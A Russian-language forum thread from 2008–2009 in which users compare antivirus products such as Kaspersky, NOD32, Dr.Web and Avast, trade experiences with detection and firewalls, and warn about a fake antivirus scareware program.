lionFROMkamcha Др веб вообще помойму стоит на заднем плане в отличии от других:) — правила нарушаемс, однако... п. 2.3

Автор:

mirax [ 08:45 30.07.2008 ]

Заголовок сообщения:

Цитата:
Др веб вообще помойму стоит на заднем плане в отличии от других

Я его никому не советую, так не раз уже видел, как он дружно живет вместе с вирусами и троянами :gigi:

lionFROMkamcha

Цитата:
начитался инфы,начинаю задумываться

Не слушай никого, лучше сам проверь всё, я тут тоже раз уже начитался про всякие тесты антивирусов, до сихпор :lol:

Из используемых мной антивирусов я бы выбирал между KIS7, NODSS, или Avira AntiVir (но в этом случае лучше подстраховаться антитроянскими програмами), сейчас на работе установлен пару недель avast!Home, пока справляется, если продержится еще полгодика. то можно и его советовать. Дома установлен последний NODSS, работает просто отлично, и главное тихо, не раздражает сообщениями, и в тоже время если нужно что уточнить, можно найти информации с излишком. До NODSS был установлен KIS7, вцелом не плохой антивирус, но может загрузить даже такую как у меня систему, + ко всему оч.много назойливых сообщений, ну очень много и раздражают жуть как. Отказался от него из подглючующего в одной онлайн игре сетевом экране, вечно бокирует мне всплывающие сообщения, даже после добовления всего возможного относительно игры в довереную зону.

Автор:	lionFROMkamcha [ 11:43 30.07.2008 ]
Заголовок сообщения:
to Alessio Ладно обосную...Др.Веб антивирус который пропускает вирусы, даже при актуальных базах, меня не устраивает Др.Веб тем что я нахожусь в сети где 600персональных компьютеров и куча малолеток придурковатых начитаются всяких интересных статеек и все,начинают бомбить компы, а сис админы находятэтого юного хакера только через неделю:) Вот такие дела... tomirax последнее время доверяю больше KIS7.0 потому что верю:) А то что он комп загружает, у меня такое сильное ощущение что он не комп нагружает а винт постоянно напрягает....

Автор:	Hell-Fosa [ 13:24 30.07.2008 ]
Заголовок сообщения:
Цитата: что он не комп нагружает а винт постоянно напрягает.... это он умеет там конечно можно регулировать степень нагрузки на систему, но все равно, я считаю что он слегка тяжеловат, однако главный минус — слишком уж он надоедливый кстати я смотрю никто про панду, макафи и тд? неужели все так плохо?

Автор:	Alessio [ 06:34 31.07.2008 ]
Заголовок сообщения:
lionFROMkamcha Тогда, может подумать о firewall-е + антивири... Да, в KIS есть и то и другое, но это не панацея, к сожалению А вирусы пропускают многие антивири, ведь 100%-ной гарантии никто не даст. У нас на работе в сети более 200 машин, хакеров малолетних нет, но частенько юзеры всякую заразу таскают(в основном благодаря IE) с Инета и пока Веб справляется(может нам просто везёт?). А ту заразу, которую не видит он, видят не требующие установки "антиавтораны", "антишпионы" и "антитрояны". Также, очень выручает CureIt, особенно когда система становится практически невменяемой. А так, у нас в конторе стоят такие антивири: у ~60% — ДрВеб, ~25% — NOD, ~10% — Avast, ~5% — KAV. Популярность первого объясняется тем, что б0льшей части парка ПК уже стукнуло 7-8 лет!!!

Автор:	mirax [ 07:58 31.07.2008 ]
Заголовок сообщения:
Цитата: в основном благодаря IE Вот она где кроится такая статистика IE Почему не установить туже лису или оперу, намного меньше проблем станет, темболее чую, что там IE 2-6 версии раз компам аж 7-8 лет

Автор:	Alessio [ 08:24 31.07.2008 ]
Заголовок сообщения:
mirax Почему не установить туже лису или оперу — дык ставили, один фиг IE(6.0.хххх) юзают, привыкли типа к нему... Хотя многие всё таки перешли на альтернативу(правда уже после переустановки ОС и восстановления инфы)

Автор:	VladKS [ 16:19 07.08.2008 ]
Заголовок сообщения:
Гы, у меня AVG 8 free нашел на диске с Вистой вирус — диск от К-Системс (Ирбис), во цирк чаво продают с готовыми компами (в Эльдорадо ) Хорошо копию не стал делать!

Автор:	Hell-Fosa [ 17:01 07.08.2008 ]
Заголовок сообщения:
Цитата: нашел на диске с Вистой вирус ненене девид блэйн ненене простите не удержался

Автор:	Makc_68 [ 21:15 07.08.2008 ]
Заголовок сообщения:
Развели тут полемику — ноды, вэбы... Вот вам пример решения совершенно не относящегося, казалось бы, к выбору антивируса вопроса, читайте, если хотите, начиная пару страниц назад, чтобы видеть всю проблему и понять о чём речь. Прошу у модераторов прощения за ссылку на чужой форум, если провинился этим — удалите сообщение. Но считаю необходимым показать людям реальный пример, чем проплаченый рекламный мусор. Итак, http://forum.worldok.ru/index.php?showt ... t&p=981492 А вот самое интересное, с чем столкнулся прошлой ночью: при попытке скачать нижеуказанный файл KIS7 выдаёт окно с предупреждением о попытке сетевой атаки и т.д. Файл, естественно, не скачивается, т.к. Каспер блокирует все попытки скачивания со стороны Download Master. Это происходит только с этим файлом, любые другие качаются без проблем как с Рапиды, так и с других файлообменников. Просьба заключается в следующем: кто имеет у себя KIS7 + DM, попробуйте качнуть несколько килобайт этого файла и отпишитесь — это реально какое-то западло сидит в файле или же я поймал бацилу и с файлом просто совпадение? http://rapidshare.com/files/116727615/V ... .part1.rar Не имеющим Каспера тоже можно попробовать качнуть файл и посмотреть, что будет. Бред какой-то.... P.S. Могу привести человека, который расскажет, как он отказался от Симантека в пользу KIS7. Ситуация была схожей с описаной выше — не мог Симантек найти трояны в загрузочной области, позорище!

Автор:	mirax [ 21:38 07.08.2008 ]
Заголовок сообщения:
Цитата: попробуйте качнуть несколько килобайт этого файла скачал 1 мб, все нормально/ESET SS 3.0/

Автор:	Makc_68 [ 21:44 07.08.2008 ]
Заголовок сообщения:
mirax писал(а): скачал 1 мб, все нормально/ESET SS 3.0/ Собственно, в Каспере сработало правило сетевого экрана, поэтому интересно в этом плане как дела?

Автор:	Alex_good [ 05:38 08.08.2008 ]
Заголовок сообщения:
У меня KAV 7 DM качал спокойно, без проблем (до конца, правда, скачивать не стал) Так что настройки файрволла виноваты

Автор:	sid444 [ 06:45 08.08.2008 ]
Заголовок сообщения:
Makc_68 Отзыв об Антивирусе касперского Антивирусу Касперского не понравился explorer.exe

Автор:	Makc_68 [ 10:10 08.08.2008 ]
Заголовок сообщения:
sid444 Хорошие примеры антирекламы, прочтите ещё раз, что я выше писал, может передумаете в своей категоричности... При нормальных настройках Каспер никогда не будет назойлив и своё дело сделает, как сумеет. О моей проблеме: похоже, что-то прицепилось к ДМ во время скачивания или с Летитбита, или при посещении парочки сайтов сомнительного происхождения. После удаления папки временных файлов интернета всё стало на свои места. Каспер пропустил бацилу, но поймал её вредное действие. И на том спасибо... Всем спасибо за отзывы!

Автор:	sid444 [ 10:19 08.08.2008 ]
Заголовок сообщения:
Цитата: своё дело сделает, как сумеет. Вот в этом всё и дело, антивирус должен работать как положено, а не как сумеет. Удачи.

Автор:	lionFROMkamcha [ 13:42 08.08.2008 ]
Заголовок сообщения:
Хе....Удаляем каспера( я не буду удалять)

Автор:	Dollar59 [ 17:32 27.08.2008 ]
Заголовок сообщения:
Товарищи! АВП Касперского 8 кто ставил? Или нет смысла с 7-го переходить? И подходит ли лицензионный ключ от 7-го?

Автор:	matveycin [ 17:55 27.08.2008 ]
Заголовок сообщения:
*Dollar59* Каспер 2009 (Антивирь) установил — всё норм. Ключ лицензионный от 7 версии действителен. Субьективно — меньше стал грузить систему. Подробности на http://www.kaspersky.ru/kaspersky_anti-virus[/b]

Автор:	MBear [ 14:13 29.08.2008 ]
Заголовок сообщения:

Автор:	EJ1K [ 21:45 29.08.2008 ]
Заголовок сообщения:
MBear Cookies Если это твой антивирь, добавь следующий сайт в заблокированные — www.hot.ee(убедительная просьба участников конференции не открывать данный сайт).

Автор:	MBear [ 22:44 29.08.2008 ]
Заголовок сообщения:
это ж http://imageshack.us/ что-то касперский зверствует... о, уже попустило

Автор:	EJ1K [ 22:50 29.08.2008 ]
Заголовок сообщения:
MBear www.hot.ee = http://imageshack.us/ — тоесть загрузка идет с mageshack. Два дня назад ловил и блочил эту гадость. Интересно — imageshack или imageshack:)

Автор:	MBear [ 23:31 29.08.2008 ]
Заголовок сообщения:
EJ1K Интересно — imageshack или imageshack это очень популярный сервис, всегда его юзаю. www.hot.ee = http://imageshack.us/ — тоесть загрузка идет с mageshack. не понял http://imageshack.us/ 38.99.77.* 38.99.76.* www.hot.ee 84.50.42.22 при входе переадресация на live.hot.ee 84.50.42.25 мирный Эстооооонский сайт. какая связь?

Автор:	EJ1K [ 23:41 29.08.2008 ]
Заголовок сообщения:
MBear Цитата: какая связь? А фиг его знает, я особо не разбирался в этом. Может банер или фрейм какой-нибудь висел...

Автор:	MBear [ 00:01 30.08.2008 ]
Заголовок сообщения:
EJ1K а типа что-то с www.hot.ee ссылалось на http://imageshack.us/, и там был вирус?

Автор:	EJ1K [ 08:23 30.08.2008 ]
Заголовок сообщения:
MBear Можно и так сказать, только наоборот Была картинка, хостилась на imageshack, так вот, видать какой-то фрейм или банер висел с принудительной фоновой загрузкой или скрипт... Цитата: и там был вирус? Я не смотрел, у меня завопил сетевой экран. У него есть блэк лист сайтов — фишинг и прочая гадость. Обычно не рискую, слишком ценная информация на компьютере.

Автор:	sid444 [ 11:55 31.08.2008 ]
Заголовок сообщения:
В сети появилась антивирусная программа Antivirus XP 2008 *программа-шпион нового поколения.* Всё гениальное просто, вирус "замаскирован" под полноценную shareware программу для обнаружения и удаления вирусов. Программа-шпион Antivirus XP 2008 имеет "прекрасный" интерфейс вводящий в заблуждение даже искушённого пользователя так что он даже не подозревает что устанавливая Antivirus XP 2008, Antivirus 2008 или Vista Antivirus 2008 он устанавливает целый набор всякой гадости, и избавится от этой напасти даже профессионалу не так просто. Также имеется информация, что некоторым пользователям уже предлагалось загрузить Antivirus XP 2009 и Vista Antivirus 2009, Antivirus 2009. Будьте осторожней, устанавливайте только проверенные программы! Как удалить Antivirus XP 2008 ? Инструкция по удалению.

Автор:	matveycin [ 00:14 01.09.2008 ]
Заголовок сообщения:
Да!!! Вот это новость! Хакеры блин, изощряются

Автор:	NEW [ 01:23 01.09.2008 ]
Заголовок сообщения:
И что там такого удивительного? Последние вирусы, которые я лечил, прописываются как драйверы [SCSI]. А беспомощность современных антивирусов последние полгода вызывает лишь сожаление. Про простые вирусы, использующие самые тупые механизмы заражения (наивность юзера), молчу. Из кучки, от которой лечу, пачка антивирусов дай бог хотя бы одно тело опознает. И что тут выбирать? Касперского, что ли? Он чаще всех попадается сам под управлением вируса.

Автор:	mirax [ 22:36 01.09.2008 ]
Заголовок сообщения:
На счет КИС8, при установке игры (самораспаковывающийся архив 2,2 Гб) начинается постепенная загрузка памяти до 1,7 Гб (всего 2Гб физической), всё это в течение 15-20 минут "пережевывается", и только после начинается распаковка архива, и последующая инсталяция игры

Автор:	D-Tritus [ 11:21 02.09.2008 ]
Заголовок сообщения:
Почти всегда пользовался каспером и он меня никогда не подводил (лишь дважды заражался вирусом и то из-за отключенного антивиря). mirax стоит КИС 8, такого не наблюдается (лишь немного удручает контроль приложений)

Автор:	Harley [ 11:38 02.09.2008 ]
Заголовок сообщения:
последние 3 года использовал Norton Antivirus 2005, ни разу не подвёл, сейчас использую Norton 360

Автор:	Der_ [ 13:20 02.09.2008 ]
Заголовок сообщения:
из личного: был сперва какой-то анивирь с зонтиком. откровенно говённый. (АнтивирПерсЕдишн штоли...) пробовал аваста. хороший. но после апдейта, через пару дней буквально пропустил пару гадостей. трояна и червя. ((( в купе с аутпостом работает крайне хреново. синий экран часто выпадает. (((( кашмарский тех гадов нашёл и убил. причём КАВ_7.0.1.125. без апдейта. а дело было примерно в мае. (2008 года) каспер хоть и прожорлив, но работает нормально. (субъективно моё мнение) с аутпостом уживается гораздо лучше. тока тормоза были замечены. 2 дня назад поставил КИС. (реинсталл виндовоза был из-за апгрейда, да и более года ему уже было ) --- ранее пробовал МакАффи и Нортона... ( как-то не то... да и удалять сложно было. --- так шо по мойму кашмарский самое то. хоть и тож душком западает. ))

Автор:	Michael [ 19:38 13.09.2008 ]
Заголовок сообщения:
Разрешите мое маленькое суеверие. Установил себе Eset NOD32 Antivirus business edition v. 3.0.669.0. В трее нет значка антивируса. Это так задумано в этой версии и он все равно проверяет открывающиеся каталоги, файлы "на лету", или это все таки косяк — и фонового сканирования "на лету" не происходит? П.С.: Я бы проверил, но диск с вирусами где-то бесследно завалялся.

Автор:	MBear [ 21:44 13.09.2008 ]
Заголовок сообщения:
Пиша посмотри в службах и процессах, есть ли там что-то от NOD

Автор:	Michael [ 18:08 14.09.2008 ]
Заголовок сообщения:
MBear Цитата: посмотри в службах и процессах, есть ли там что-то от NOD Ага. Есть. И значок в трее волшебным образом появился

Автор:	Viktor_89 [ 20:58 14.09.2008 ]
Заголовок сообщения:
Добрый день! Можете обьяснить какую функцию выполняет эвристический анализатор?

Автор:	Жёсткий_Чебур [ 21:27 14.09.2008 ]
Заголовок сообщения:
Viktor_89 А справку почитать? Там всё написано.

Автор:	Der_ [ 09:53 15.09.2008 ]
Заголовок сообщения:
Viktor_89 еврестищиский анализатор, он как тефаль.... думает за тебя. )))) жаль не всегда верно. ((( а в справке более подробно всё описано.

Автор:	Michael [ 19:51 15.09.2008 ]
Заголовок сообщения:
Viktor_89 Цитата: Можете обьяснить какую функцию выполняет эвристический анализатор? Он по моему находит вирусы, которые еще не содержаться в базе данных антивируса.

Автор:	Stranger_NN [ 12:20 16.12.2008 ]
Заголовок сообщения:
Как постоянный использую Avast или AVG, для хирургического лечения — AVZ (последний не только антивирус, но и очень мощный системный инструмент вообще). Даже если вируса не знает — позволяет раскопать и убить его руками.

Автор:	U-Nick [ 00:37 17.12.2008 ]
Заголовок сообщения:
Stranger_NN А http://www.spywareterminator.com/download/download.aspx не пробовал? Размер сетапа ~ 9M (Там довольно запутанный выход на правильный файл). Я поставил — вроде ОК, но интересно и мнение спецов

Автор:	Pawel2 [ 10:02 18.12.2008 ]
Заголовок сообщения:
NOD32 или Нортон отключить? Какой из них эффективнее ловит вирусы в реальном времени?

Автор:	Zhiza [ 15:21 11.01.2009 ]
Заголовок сообщения:
Нужен хороший бесплатный антивирус, для того, чтоб поставить на казенные компы(начальство древнее, не видит смысла тратить по 700 р на антивирус для ПК). И чтоб, базы постоянно обновлялись. Есть такие в природе?

Автор:	Hell-Fosa [ 15:37 11.01.2009 ]
Заголовок сообщения:
Можешь поставить Avira Personal, бесплатный, ловит нормально, для уверенности полной можешь поставить еще что-нибудь от троянов

Автор:	sergey2400 [ 17:46 11.01.2009 ]
Заголовок сообщения:
А я пока использую KAV7.0 и на работе и дома. Клиентам, которых "жаба душит", ставлю бесплатный AVAST, хоть и не очень эффективный, но лучше, чем ничего.

Автор:	Zhiza [ 18:31 11.01.2009 ]
Заголовок сообщения:
"KIS" версия 7.0, продление лицензии на 1 ПК, на 1 год — 549руб. как зп выйдет, это куплю себе домой.

Автор:	U-Nick [ 22:59 11.01.2009 ]
Заголовок сообщения:
Zhiza Сегодня я купил ж-л Upgrade Special c ДВД на 9 Гиг. Там есть КИС-8 (и с ключиком!) и еще море полезностей. И всего-то 135 рэ.

Автор:	Alex_good [ 05:51 12.01.2009 ]
Заголовок сообщения:
U-Nick Зато Zhiza купит 7ку, бесплатно перейдёт на 8-ку и будет целый год жить счастливо. За 549 рублей А Upgrade'овский ключ — на месяц, потом снова журнал покупать...

Автор:	skhanko [ 21:02 14.01.2009 ]
Заголовок сообщения:
Был вопрос про NOD32 ?-скажу! Какими-только антивирами я не пользовался,а все-таки остановился на НОДЕ! Во-первых-НОД после установки сканирует всю систему,после этого(после каждой перезагрузки) он сканирует только те проги ифайлы,которые были установлены,или записаны после предыдущего сканирования,то-есть вы представляете на сколько меньше времени занимает сканирование при загрузке ОС! Во-вторых-обновляется очень быстро и невесомо!Народ обновляет через GPRS!Сами знаете,чтобы обновить через GPRS того-же каспера нужно бабла на сотике иметь немеренно!!! В-третих-служба тех-поддержки работает быстро и оперативно! В-четвертых-продление подписки на Smart Security(а-это самая навороченная версия НОДА с персональным файерволом) стоит 500 рублей на год! И наконец скорость и точность обноружения новых вирусов,всяких поганок и червей самая высокая!!!(Digital magazine,январь 2008) (AV-Comparatives.org). Вирус W32.Blaster.Worm-вчера обнаружил и изолировал на УРА!!!

Автор:	Zhiza [ 19:41 15.01.2009 ]
Заголовок сообщения:
U-Nick А Вы не могли не купить. Потому-что, покупаете журналы с дисками как минимум с 2001 года. Вам это не в тягость.

Автор:	U-Nick [ 20:50 15.01.2009 ]
Заголовок сообщения:
Zhiza Я их _выписываю_ за счет конторы.... в основном Но я АДНАЗНАЧНА считаю, что ПОКУПАТЬ комп-журналы с ДВД об 9 ГБ за 130-170 рэ (в коих есть новенькие ключики ) ежемесячно — гораздо _урожайнее_, чем 1 раз платить за 1(!) пр0гу. Тем паче, что на тех ДВД всегда есть много FREE софта, про который без журнала и не узнал бы. ------ Че слова, половина проблем, поднимаемых в разных темах, успешно решается тем самым фри-софтом...

Автор:	Zhiza [ 04:18 16.01.2009 ]
Заголовок сообщения:
А пока не дали зарплату, поставил себе, и на пару рабочих компов Аваст. Прикольная штука. Но, требует некоторой настройки. Уже обнаружил пару вирусов, которые КИС7 и Нод32 со свежими базами пропустили.

Автор:	U-Nick [ 20:27 16.01.2009 ]
Заголовок сообщения:
Zhiza Лучше Авиру. Аваст больно пугливый. Юзал я его — снес... Щаз Spyware Terminator объезжаю...

Автор:	Zhiza [ 19:42 17.01.2009 ]
Заголовок сообщения:
Слышал, что в Авире нет русского интерфейса. Мне без разницы, а юзерам — нет.

Автор:	skhanko [ 20:37 17.01.2009 ]
Заголовок сообщения:
Подскажите кто-нибудь,можно-ли одновременно использовать два антивируса на одной системе?,платный и бесплатный,если можно-то как? Заранее благодарен!

Автор:	traktorist [ 21:06 17.01.2009 ]
Заголовок сообщения:
Zhiza писал(а): Поставил себе, и на пару рабочих компов Аваст. Прикольная штука. Но, требует некоторой настройки. Уже обнаружил пару вирусов, которые КИС7 и Нод32 со свежими базами пропустили. Аналогично.Уже второй год пошёл как на нескольких машинах стоит.Пока полёт нормальный.Ключи только обновил,так как через год нужна перерегистрация. Ходил тут намедни к товарищу.Сначала запустил какую то утилиту скачанную с сайта Касперского для лечения в особо тяжких случаях.Она наудаляла много всякой заразы.После этого установил Аваста.И после этого он выгреб ещё приличную кучу. Уровень защиты ставлю высокий и больше ничего не меняю.Вобщем пока Аваст нравится.

Автор:	mirax [ 21:19 17.01.2009 ]
Заголовок сообщения:
skhanko Можно, только не все, например касперский и нод не терпят присутствия в системе любого другого антивируса (написано в начале установки). В интернете даже где-то натыкался на таблицу "дружбы" между антивирусамии, только вот сейчас что-то не могу найти её.

Автор:	Alessio [ 09:15 19.01.2009 ]
Заголовок сообщения:
mirax А у меня одно время "жили вместе" Др. Веб и НОД32 и не ссорились, правда память "кушали" прилично(особенно нод32) Просто на рабочем ноуте всего 512 метров ОЗУ и "совместная работа" антивирей ощущалась весьма заметно

Автор:	U-Nick [ 20:45 19.01.2009 ]
Заголовок сообщения:
Др.Веб: сам сканер 4.44 легко всосал свои же обновления до версии 5.0 (включая .dll & so on), а вот Спайдер отказался работать. Совсем. Сейчас на журнальных дисках уже выкладывают (с решпектами и прочая ) KIS-2009, KAV-2009, Norton-2009 ... И опять ситуация от Буридана: че выбирать-то? traktorist Она наудаляла много всякой заразы.После этого установил Аваста.И после этого он выгреб ещё приличную кучу. Дык опять же — он ШИБКО! Потому и находит много. ----- Пробелы не забывай — читать без них затруднительно.

Автор:	Alex_good [ 21:45 19.01.2009 ]
Заголовок сообщения:
U-Nick Если выбирать из касперычей — KIS лучше. У KAV в 8-й версии кастрировали проактивную защиту. Или кастрировали возможность их настройки, что по мне примерно одно и то же....

Автор:	Жёсткий_Чебур [ 21:52 19.01.2009 ]
Заголовок сообщения:
U-Nick Лучше пере , чем недо .

Автор:	zhe [ 23:25 19.01.2009 ]
Заголовок сообщения:
Недавно заметил, что c включенным веб-антивирусом Avast-а (ashWebSv.exe) потребляется намного больше трафика. Например, если открыть монитор ресурсов в Vista, то это хорошо заметно. Особенно наглядно это видно, если например просматривать видео-ролик с YouTube. В такие моменты можно увидеть, как одновременно жрётся траффик браузером и процессом ashWebSv.exe, причём в сопоставимых между собой количествах. Это что получается, сначала данные сканируются антивирусом, а потом заново закачиваются браузером? Тоесть двойной расход траффика? Это ж неслыханно! После выключения Web-экрана догадка подтвердилась — интернет стал работать гораздо шустрее. У кого стоит Avast проверьте пожалуйста у себя и напишите. ПС. браузер = Опера

Автор:	MikeIS [ 23:30 19.01.2009 ]
Заголовок сообщения:
zhe У мну Опера Инет не потребляет, все через Аваста идет, судя по фаерволлу. Ну да, если отрубить Аваста, то все идет через Опера.екзе, а с Авастом, весь трафик через ашвебсв.екзе

Автор:	Makc_68 [ 23:56 19.01.2009 ]
Заголовок сообщения:
Я Каспером (KIS версией) пользуюсь уже 4 года, привык к нему, всё устраивает по интерфейсу и по настройкам. Не хочу менять, если сомнения возникают, то качаю с сайта Dr.Web их тестовую утилиту сканирования (обновляется каждый день) и проверяю систему. Пока Бог миловал... С 8-ой версией КИС пока не получилось подружиться из-за сетевого экрана, который сам решает, кого и когда пускать с интернет, а учитывая то, что 100% установленных в системах (ХР и Виста) программ с левые, то "слёты" активаций неминуемы. Последнее время Каспер плохо ловит автораны, хотя проактивная защита и пытается перед смертью что-то вякать. Весьма прискорбное явление на предприятиях, где много любителей флешек, это становится бедствием. НОД 32 часто выручает после таких заражений. WEB — нейтрально — хочет, ловит, хочет — не ловит. Остальные антивири нервно курят в сторонке. Как бы там ни было, никто не мешает отправить подозрительный файл на VirusInfo.ru и проверить его 39 антивирусами.

Автор:	zhe [ 00:13 20.01.2009 ]
Заголовок сообщения:
MikeIS, а вот у меня почему-то через обоих одновременно идёт. И не могу понять, то ли это так задумано, толи это баг

Автор:	Жёсткий_Чебур [ 00:38 20.01.2009 ]
Заголовок сообщения:
zhe Сейчас проверю, правда не на Опере. ----------------------------- zhe Всегда пожалуйста.

Автор:	zhe [ 00:44 20.01.2009 ]
Заголовок сообщения:
Понял, в чём дело. Моя дурная башка не заметила, что когда работает ashWebSv.exe, то конечной точкой для браузера является... 127.0.0.1 А к внешнему айпишнику конектится как раз ashWebSv.exe. То есть весь траффик идёт через этот процесс, а потом через внутренний сокет передаётся на браузер. Стоит отключить веб-экран — браузер конектится к реальной IP напрямую. MikeIS, 4e6ypek, спасибо за участие )

Автор:	MBear [ 01:42 20.01.2009 ]
Заголовок сообщения:
Makc_68 8-ой версией КИС пока не получилось подружиться из-за сетевого экрана, который сам решает, кого и когда пускать с интернет там есть и ручной выбор Последнее время Каспер плохо ловит автораны, autorun это зло, и его нужно отключать сразу же после установки системы. а еще лучше во время установки zhe когда работает ashWebSv.exe, то конечной точкой для браузера является... 127.0.0.1 А к внешнему айпишнику конектится как раз ashWebSv.exe. У меня через KIS также ходит. Кстати это вызывает глюки при отправке больших файлов...

Автор:	zhe [ 02:09 20.01.2009 ]
Заголовок сообщения:
MBear Цитата: У меня через KIS также ходит. Кстати это вызывает глюки при отправке больших файлов... Так по-моему все веб-экраны по такому принципу работают.

Автор:	MBear [ 02:19 20.01.2009 ]
Заголовок сообщения:
zhe Наверное, но раньше проблем при передаче не возникало. А сейчас вот начал копать, что как через кого и куда ходит

Автор:	U-Nick [ 14:09 10.06.2009 ]
Заголовок сообщения:
Вопрос к по поводу настроек COMODO (версия 3.9.95478.509): был установлен на ХР+СП2, успешно накачал все обновления; изготовлен другой винт с ХР+СП3, Комод _перенесен_ со старого винта; запустился, сам себя отрихтовал (даже установил русский язык, что раньше на винте имелось, но в меню было недоступно) и успешно обновляся, НО! — на главном экране КОМОДа отсутствует кнопка Антивирус, как и в окошке быстрого выбора режимов. В списке конфигураций Антивирь имеется. Что надо сделать для восстановления прежней ... комплектности пр0ги? Переустановить, а базы сохранить? Или я что-то недокопировал? --------- Все решилось все-таки переустановкой Комода.

Автор:	Ankren [ 14:27 10.06.2009 ]
Заголовок сообщения:
А в журнале Hard n Soft выкладывают ключ для Dr Web на пол года В июньском как раз есть ключик до 20.10.09

Автор:	U-Nick [ 16:32 10.06.2009 ]
Заголовок сообщения:
Ankren Такие же ключики водятся в CHIP, XAKER

Автор:	Ankren [ 03:14 22.06.2009 ]
Заголовок сообщения:
U-Nick Цитата: Такие же ключики водятся в CHIP, XAKER Не знал, что на них тоже есть полугодичные буду в теме Тока журналы мине не нада, главное ключик, а где их мона найти я знаю По теме — пользуюсь Dr.Web 1.5года, до этого был NOD32, пока без проблем... (самозащита у него прикольная — фиг убъёшь, тока если через интерфейс ручками + генератор чисел на подтверждении , хотя она и является лучшей на данный момент среди антивирей ) Версия Security Space 5.0.1.06018 полёт нормальный С чем сравнивать не знаю, да и бесполезно по моему, т.к. личное дело каждого...

Автор:	7Mike [ 11:22 26.06.2009 ]
Заголовок сообщения:
Сначала я искал бесплатный антивирус... Но ничего хорошего из этого не вышло...Протестировал и читал много. Авира хороша, но у нее есть недостаток — она слишком много находит не того, что надо и вопит (отключить это нельзя было у меня тогда, кликаешь — пропустить или добавить в исключения (точно не помню) а она все равно через секунд 10 вопит...). У меня в файле Экселя макрос на автоматическую рассылку почты, каждый день вопила... Надоела. После этого еще 2 файла нашла (причем нужных), тоже начала фигней страдать, удалила их в итоге... Мне кажется все дело в сырости этого антивируса... Пытался отправить притензию разработчикам, но там черезжопинская система какая-то у них с регистрацией и прочим... Снес я ее. Поудаляла при проверки мне все кейгены и кряки. Восстанавливаешь из карантина — и она тут же вопит — найден вирус — заблокирован... И т.д.) Жесть) NOD тогда тоже стоял и молчал. Лазил по сайтам и увидел разницу в них (Авире и Нод). У Авиры нет во фри и премиум версиях интернет-щита (или типо того). С сайта скрипт запустился, Нод помог, сразу все сделал, заблокировал, удалил. Авира ловила ворон в этот момент. NOD32 x64 — отличный выбор. Искал именно x64 антивирус. + У меня Comodo файервол x64. Все летает, нагрузки на проц нет. Больше по ненужным поводам никто не вопит. Ранее еще пробовал Norton (полная защита) триальный — это полная шляпа — этот вообще вариантов не предлагает, сразу все сам удаляет непойми куда без карантина и все... Он наверное самый главный на МОЕМ ПК...) Может это можно было бы как-то настроить, но я пытался — ничего не вышло, может не старался особо. Не знаю как сейчас, если этот бред остался — это вообще идиотизм, а не антивирус. Все дистрибутивы халявные снесет и не спросит, причем он предлагает просканироваться при установке... все файлы — пака-пака...) Хотя я теперь полностью перешел на бесплатный софт, ибо нефиг, может тольо лежит старая хрень... С другой стороны, понадобится использовать брутфорсер какой-нибудь — он спокойно ничего запускать не даст. Кстати, и не выключится полностью, если попытаетесь временно прекратить его работу... Продолжал вопить даже в выключеном состоянии причем процесс антивируса не может быть остановлен. Файлы блокировал. Пришлось удалить. McAfee ставил — он вообще очень напоминает Norton, такойже тупорылый. Чтобы настроить — надо чуть ли не другой дистрибутив собирать самостоятельно... Работал у меня вместе с NOD32. Пропустил вирусы, а Нод — не подвел. КАВ особо не пробывал, помню только раз установил и у меня все стало сразу тормазить. Наверное сейчас все изменилось, но не хочется много платить за него, как и вообще з любой другой антивирус... 500-1500р в год — это дорого. "Наживаться" на людях, годовая абон.плата и прочее — это жесть, друзья. Делать милионерами милионеров — недосуг. Абон. плата нужна только корпоративным клиентам, с которых полностью окупаются затраты на разработку... Когда цены изменятся — посмотрим. Или хочу купить и пожизненно получать все обновления как баз так и программы. Я не так много провожу времени за ПК, чтобы платить 10000р каждые 3 года за новую ОС + 10000р за Офис + еще 2500-3500р за Антивирус (причем терять время на пукупку и "инсталяцию" ключей и прочую хрень) а еще?а еще?а еще?... Издеваетесь?) Хотя халявную/пирацкую версию использовать тоже не хочется, наверное, во мне совесть и патриотизм проснулись...или скорее страх — за такие деньги (как они гребут) они смогут к Вам домой прийти... Благо идти не далеко... Думаю, им проще деньги выколачивать и публичные казни устраивать, чем цены снизить.Хорошо, если отделаетесь штрафом...Мне кажется в ближайшем будущем — это будет новым модным направлением бизнес-деятельности подобных компаний... Аваст и еже с ним (фри) — не обсуждаю... Это фигня полная. Друг прислал файл с трояном — проверить NOD'ом моим. До этого ему сказали (пользователи Аваста), что там ничего нету... Демократичный ДокторВеб — ну не знаю у меня в нем уверенности нет, лечит хорошо, а вот скорость выявления потенциальных угроз мне кажется мала (или просто он не все виды хрени ловит). Не забывайте, что это просто антивирус... Новые продукты из серии "все в одном" не пробывал... Вообще как антивирус — очень полезен, если другие ничего не нашли... Он может быть запасным вариантом.

Автор:	Ankren [ 02:49 27.06.2009 ]
Заголовок сообщения:
U-Nick Скажите, уважаемый, а полугодовые ключики появляются в мае(или\и июне) и в декабре (или\и январе), или я путаю и системы тут нет? А каким щитом сами пользуетесь, если не секрет? Небольшая заметка про детект антивирями — http://blogs.drweb.com/node/424 смешно и грустно одновременно...

Автор:	Davulcu [ 13:39 27.06.2009 ]
Заголовок сообщения:
Всем ку! Стоит KAV 8.0.0.506 ищу к нему в дополнение прогу вроде Ad-Aware (пока на ней и остановился,но не совсем она меня устраивает), кто нить может что нить посоветовать получше Ad-Aware? Просьба аргументировать свой выбор И есчо вот что,ни у кого не завалялся ключег на KAV 8.0.0.506 с журнала,а то мой в конце июля совсем мертвый станет

Автор:	Grendel [ 13:50 27.06.2009 ]
Заголовок сообщения:
Avast .

Автор:	D-Tritus [ 15:39 27.06.2009 ]
Заголовок сообщения:
Davulcu Ad-Mucher — вырежет абсолютно все лишнее, но требует тонкой настройки Юзаю Каспера уже очень давно. Заражался очень давно, и то когда его отключал (сильно систему тормозил). Последние 2-а года работает постоянно — пока ни одного вируса система не ловила

Автор:	U-Nick [ 16:27 27.06.2009 ]
Заголовок сообщения:
Ankren Полугодовые ключики появляются вообще-то редко, только когда авторы проводят что-то типа рекламной кампании. Так было с Вебом, Каспером, ... CHIP я регуляно имею разными способами практически с самого его начала. У меня сейчас стоит Комодо. Вроде пока не лажался. ДрВеб тоже есть, но без Спайдера. Комод находит больше. И он сечас — 3 в 1, что меня полностью устраивает. Не все в нем понятно, и он иногда мешается простеньким играм (особенно второму юзеру моего компа). Но я — не великий спец по антивирям и сам иногда брожу по сети в поисках умных мызлей по их поводу. Вот если бы кто-то прояснил методику дозволения портов и пр. настроек при работе, скажем, через домашнюю сеть...

